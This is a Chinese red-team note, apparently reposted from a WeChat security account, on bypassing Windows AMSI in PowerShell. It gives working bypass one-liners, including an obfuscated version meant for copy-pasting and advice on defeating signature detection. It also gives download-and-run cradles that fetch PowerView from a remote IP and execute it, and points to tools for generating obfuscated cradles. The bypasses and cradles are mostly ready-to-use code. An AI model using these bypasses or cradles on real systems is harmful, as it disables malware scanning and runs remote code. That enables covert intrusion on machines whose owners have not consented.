红队笔记 - PowerShell AMSI Bypass

  • A+
所属分类:安全文章


        反恶意软件扫描接口(AMSI)打补丁将有助于绕过执行PowerShell脚本(或其他支持AMSI的内容,如JScript)时触发的AV警告,这些脚本被标记为恶意。不要在隐蔽的操作中使用原样,因为它们会被标记出来。混淆,甚至更好的是,通过改变你的脚本来击败基于签名的检测,完全消除对AMSI绕过的需要。


普通 "的AMSI绕过例子:


[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)


用于复制粘贴的混淆例子:


sET-ItEM ( 'V'+'aR' +  'IA' + 'blE:1q2'  + 'uZx'  ) ( [TYpE](  "{1}{0}"-F'F','rE'  ) )  ;    (    GeT-VariaBle  ( "1Q2U"  +"zX"  )  -VaL )."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{0}{5}" -f'Util','A','Amsi','.Management.','utomation.','s','System'  ) )."g`etf`iElD"(  ( "{0}{2}{1}" -f'amsi','d','InitFaile'  ),(  "{2}{4}{0}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(  ${n`ULl},${t`RuE} )


PowerShell的自动识别功能:


[Delegate]::CreateDelegate(("Func``3[String, $(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName), System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')), [Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as [String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True)


        绕过方法混淆等,请参考Invoke-Obfuscation,或者在amsi.fail获得一个自定义生成的混淆版本。


https://github.com/danielbohannon/Invoke-Obfuscation


远程加载PowerShell脚本


代理


IEX (New-Object Net.WebClient).DownloadString('http://10.10.16.7/PowerView.obs.ps1')


非代理


$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://10.10.16.7/PowerView.obs.ps1',$false);$h.send();iex $h.responseText


        

红队笔记 - PowerShell AMSI Bypass



        Invoke-CradleCrafter 是一个兼容 PowerShell v2.0+ 的 PowerShell 远程下载生成器和混淆器。


目的

Invoke-CradleCrafter 的存在是为了帮助蓝队和红队轻松探索、生成和混淆 PowerShell 远程下载托架。此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,因为它不包含任何字符串连接、编码、刻度线、类型转换等.


用法

虽然可以通过直接调用 Out-Cradle 函数来生成所有 cradle,但所有堆叠混淆组件的移动部分的复杂性使得使用 Invoke-CradleCrafter 函数成为探索和可视化 cradle 语法和混淆技术的最简单方法这个框架目前支持。


安装:

Import-Module ./Invoke-CradleCrafter.psd1Invoke-CradleCrafter


https://github.com/danielbohannon/Invoke-CradleCrafter

本文始发于微信公众号(Khan安全攻防实验室):红队笔记 - PowerShell AMSI Bypass

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: